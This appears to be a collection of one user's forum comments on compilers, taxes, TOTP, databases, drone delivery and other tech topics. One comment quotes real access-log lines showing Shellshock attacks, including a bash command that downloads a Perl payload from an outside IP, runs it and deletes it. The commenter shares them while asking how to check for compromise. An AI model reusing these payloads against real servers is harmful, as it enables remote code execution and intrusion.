ProblemFactory

A lot of undefined behaviour cannot be identified at compile time. For example, adding two signed integers is undefined if it overflows, but perfectly well defined if it does not.

A safe compiler will have to add checks to guard against undefined behaviour happening at runtime.

> but you'd need a company

You absolutely need a company, and a chat with an accountant before you start singing contracts with and paying partners who create content for you.

If you just wing it, there's a good chance that you will end up owing the government employment taxes.

With a more complex search perhaps?

Facebook parses and actually works with queries such as "single [gender] friends of friends of friends who live in [X] and like [Y]".

So you are looking for a device that contains a laptop body, screen, keyboard, touchpad, speakers, battery, battery charger, RF antennas, and enough processing power to decode and display the video stream arriving over radio?

My guess is that this would cost at least 80% of a similar quality laptop that also includes "computer parts" and works as an actual computer. Hell, the current HDMI video streaming dongles like Chromecast have more processing power built in than my first actual laptop.

It runs at 1/10 speed because it's interpreted bytecode, and it allocates a new PyInt object for each number in the loop.

You can get it back close to native speed by adding a type annotation and compiling the python file with Cython: http://docs.cython.org/src/userguide/language_basics.html#in...

    def f(NUMBER):
        cdef int i
        for i in range(NUMBER):
            pass

The good news is that from Android 6.0, permissions will be more dynamic: https://developer.android.com/preview/features/runtime-permi...

Apps can ask for permissions only if/when they are actually needed for a niche feature, and the user can reject or revoke each permission individually.

I guess that most of these are a science journalism thing: http://www.phdcomics.com/comics/archive/phd051809s.gif

For example, there was news recently about a breakthrough discovery of a -70C superconductor. The media spun it as if loss-free electricity transport and maglev trains are just around the corner. But in reality, this material (Hydrogen Sulfide) required 2 million atmospheres of pressure for superconducting at this temperature.

No conspiracy or lack of funding is behind the lack of practical applications, in this case it is just utterly unfeasible outside of a laboratory. But even if the material will never make it to the market, it's still a scientific breakthrough that will give scientists new understanding of how the processes work, and perhaps lead to other discoveries with more practical applications in 2, 20 or 200 years.

I have installed Breeze which seems to be very similar. But I rarely end up using it. Its top-bar menu is too slow to use, and I can never remember the hotkeys for positioning.

The interesting part of this solution is realising that for terminals, using the mouse nor long complicated keyboard shortcuts are needed. Terminals have text input, you can type where the window is supposed to go. There commands can be memorable, and there is no risk of collision with other global hotkeys.

Would that reduce the centralisation though?

An independent miner with an average affordable rig might find somewhere on the order of one block per year on average. This means that due to variability, a good proportion of miners would not find any blocks at all within the lifetime of their hardware, and give up forever.

If low-income-variability pooled mining becomes impossible, then my guess is that mining will be centralised to people who run purpose-built datacentres full of miners, not the casual users.

Part of the mystery is due to the radical change in the flight path. It was supposed to fly North from Kuala Lumpur to Beijing.

But for some reason, the plane was turned around, and flew towards the Indian Ocean instead of China for at least an hour: https://upload.wikimedia.org/wikipedia/commons/f/f2/MH370_fl...

Merely incompetent crew or a technical failure would not cause that - it has to either be a hijacking or an unstable pilot doing it on purpose.

> you will likely never ride with the same Uber driver again.

In theory, having your "own" driver would not be a bad thing. But the main difference is in scheduling.

With taxis and Uber, you want a car to show up in 10 minutes at any time of the day without advance booking. This requires a large pool of drivers on standby and a middleman to handle the communication.

A cleaner can visit pretty much any time during the week, and is usually pre-booked for every week indefinitely into the future. This doesn't need a middleman, since you can arrange the details directly.

I haven't tried getting commercial transport insurance, but my gut feeling based on moves and mailing items says that insurance claims in moving cargo are way more common than in moving passengers.

With passengers, the only real risk is a traffic accident, which are reasonably rare.

With cargo, traffic accidents are still rare, but it is much more likely for the movers to damage something while loading/unloading or when boxes shift in transit. It's hard to accidentally damage a passenger, while it's easy to drop a TV while carrying it down the stairs.

Perhaps these risks can be minimised if the owner is responsible for loading/unloading and for safe packing of boxes in the truck.

Besides this, I don't see why they would need to convert their status. There are almost no restrictions on running a non-profit, beyond not having "owners" or paying dividend.

The restrictions only apply to non-profits that want to be tax-exempt by the IRS. If you aren't considered charitable enough, then you just pay taxes as usual, but nobody is going to force a shut down of the non-profit because of that.

The problem isn't in reading, but using the wifi key. The app promises to keep the wifi keys secret from other users:

> "... credentials are added to the database so that everyone else on the app can also use that hotspot. Users cannot actually view these credentials so as to protect user data."

But if a client app can download the wifi key from the server and use it to log in, then a modified client app could also download all wifi keys and show them to the user.

There is no practical way for the server to distinguish the original client app from a modified one as long as the user is in control of the hardware and OS it runs on.

I don't think upsert has taken so long because of the community and processes, but because the Postgresql team has high requirements for it: http://www.depesz.com/2012/06/10/why-is-upsert-so-complicate...

For example, upsert that is worth releasing should:

* Work with all unique indexes that may exist on a table, not only a primary key,

* Be correct even at highly concurrent writes, at any isolation level from Read Uncommitted to Serializable,

* Be fast even at highly concurrent writes, so no table locks, locks may not be held for more than an instant, and no re-running the entire transaction in a loop,

* Never throw an "another transaction modified data" exception at Read Committed isolation level, it should always correctly succeed as an insert or update even if another parallel transaction inserted or deleted the matching row.

I'm not familiar much with the other database engines, but my impression has been that their upsert or SQL merge do not provide all of these.

Even if the Estonian corporate taxes are extremely favourable, and paperwork is quick and digital only, then one thing to still keep in mind is that whichever country you live in may impose additional taxes on the personal income after you take it out as dividend or salary.

And if you are an US citizen, then you have to file and pay US taxes regardless of where you live, or where you earn income from.

RFC6238 TOTP (popularized by Google Authenticator) should fit your needs well.

* It is an open algorithm based on http://tools.ietf.org/html/rfc6238

* Both the server and client work completely offline based on a pre-shared key and current time. It does not need any third-party services, network calls, or paid plans.

* The Google Authenticator app for saving secrets and generating tokens is open-source and available on Android and iOS. It does not share the secrets or tokens with Google. Others have also published compatible apps.

* There is already a Debian/Ubuntu package for adding it to logins, including SSH logins: libpam-google-authenticator

* If that's not sufficient, then there are libraries for various languages.

* And if not, or if you want to build your own branded client, then both the server and client implementations take about 10 lines of code: http://en.wikipedia.org/wiki/Google_Authenticator#Technical_...

All of the complexity of bitcoin (including having and paying miners) comes from the requirement to be completely distributed, with no authority that could refuse to include "bad" transactions.

But if you're not signing any black- or grey-hat documents or transactions, then you can just pick a trustworthy central party to receive the hashes and publish the chain.

The startup GuardTime has been doing document timestamping and integrity checks with a blockchain for a bit while longer than bitcoin.

* You hash documents that you want to timestamp, and send the hash to them.

* They hash all received hashes and the previous head of the blockchain together, and publish the head hash in the paper copy of Financial Times: https://guardtime.com/photos/ft14-2.png

* The exact contents and "created before than" timestamp of the documents can now be fully verified, unless someone can manage to gather and destroy all paper copies of Financial Times published after it was sent to them.

The incentive for them is an usual freemium payment model.

From the linked website, it seems that they expanded applications to overseas embassies a few days ago, so visiting in person might no longer be necessary.

Out of curiosity, what was your motivation for applying? It seems to me that the only obvious use-case for e-residency is to run a company registered in Estonia while living elsewhere.

Joining or building a team doesn't have to be a choice between becoming an employee or a manager of employees.

A few of the most successful freelancers I know have formed 2-3 person partnerships. All of the partners were individual freelancers before, but teaming up allows them to tackle bigger projects, and reassure clients that a holiday or sick time won't stop their project.

Every project still needs some project and client management, but overall it seems that the time each partner spends on "management" is actually reduced in this format.

I'm very doubtful of drone delivery until battery tech advances at least 10x.

In dense, built-up areas there is no space to land. You can't fly between buildings and land on a sidewalk in Manhattan, and where would you leave the package there?

In rural and suburban areas, where houses have backyards, the flight range starts to be a problem. Amazon isn't going to build a full warehouse every 5-10km, even "drone depots" seem doubtful with that density. With "drone depots" instead of proper warehouses, the packages would still have to be trucked in, so 1-2 day delivery instead of 1-2 hour delivery, and the only motivation would be cost saving over traditional mail carriers.

Perhaps if batteries become a lot more capable, then having drone depots every 20-50km in suburbia might end up profitable over paying for mail.

> Yeah, no doubt somewhere along the way someone made a negotiation mistake

Is it really a negotiation mistake, rather than a result of growing valuation?

The point of stock options is to grant and receive them early at a low price. There's a good chance that they won't amount to much, but there's also a hope that they will be worth a lot. That's the entire point of accepting stock options over salary as an early employee.

But if stock options are likely to be cancelled if they appreciate in value, then their expected value quickly falls to zero, and it would make more sense to just offer yearly cash bonuses instead.

> It won't work, the theory goes, because when congestion reduces more people start driving, until the congestion reaches equilibrium again.

While this sounds plausible, it doesn't follow that building roads or adding buses is a bad idea. Even if the congestion stays constant, now more people get to travel.

Is there any reason why you don't want to meet? People meet people who they do business with all the time.

The only issue to keep yourself aware of is whether their human contact expectations (support, meetings, custom development) match the price they are willing to pay.

You should investigate this further based on the expected user demographics of your app. I would expect that most people who post on Hacker News avoid all social login as much as possible for privacy reasons, while many other user groups may prefer it to creating new accounts everywhere out of convenience.

Note that any Android phone which is able to access Google Play also must have a Google (GMail) account set up, and you can use this to authenticate the user with minimal effort: http://developer.android.com/google/play-services/index.html

Note that Dennis Ritchie already received the Turing award in 1983 for inventing and writing UNIX.

In fact, more than half of the Turing awards are for practical inventions and software: work on programming languages and compilers, TCP/IP, operating systems, relational databases. And even many of awarded "theoretical" achievements had working software that demonstrated or automated the maths parts.

I'm not arguing against an "Art and Design" award - but just noting that the Turing award is not that far off, it covers Computer Science contributions much more widely than just proving CS maths theorems.

I have been looking for tools to solve the same problem for a while now.

Based on documentation, the most promising approach seems to be to use Couchbase Mobile/Lite in the app, Couchbase Server on the server, and link them up with their sync gateway: http://developer.couchbase.com/mobile/develop/guides/sync-ga...

It seems that this should make it possible to save data both on the client and server side, and leave sync and replication to the databases themselves.

Now, I haven't actually adopted it yet for two reasons:

* My server stack is built on top of Postgresql and Django, so I would need to either rip out Postgres and go all-in with Couchbase, or somehow sync between Postgres and Couchbase on the server, and

* Authentication, authorization and data access filtering has to be implemented as custom Javascript plugins in the sync gateway, so I would have to rewrite most of my server-side app logic. By default the clients have full write access to the server database...

But if you do give this a try, I would really like to hear about your experience.

Thanks for the idea. Looks like there is someone out there already trying to download and install remote shells:

    access.log:89.207.135.125 - - [25/Sep/2014:12:30:00 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 302 169 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
    access.log:146.71.113.194 - - [26/Sep/2014:00:26:04 +0000] "GET /cgi-bin/helpme HTTP/1.0" 302 169 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat*;rm -rf /tmp/jurat\x22"
    access.log:146.71.113.194 - - [26/Sep/2014:00:26:05 +0000] "GET /cgi-bin/helpme HTTP/1.0" 404 13272 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat*;rm -rf /tmp/jurat\x22"

Any suggestions on how to best check if they succeeded? I think I'm safe as I upgraded Ubuntu Bash right after the announcement, and run Nginx+Uwsgi instead of Apache with CGI enabled. But Nginx might set some environment variables somewhere as well.

It's a good idea to host user-uploaded files on a completely separate domain, since older browsers are terrible at security: http://googleonlinesecurity.blogspot.com/2012/08/content-hos...

For example, it's possible to construct a perfectly valid image file, served with the correct image/gif MIME type that contains malicious a Javascript payload, and older versions of Internet Explorer might still execute that Javascript. If it is served from your web apps main domain or a subdomain, then this Javascript can access users' sessions.

Thanks for the suggestion. However, for now I'd like to avoid building my entire app "the Heroku way", and keep the PostgreSQL server hosted on the same server or at least the same network as the rest of the app. But you are right in that perhaps a fully managed PostgreSQL server is the way to go for reliability.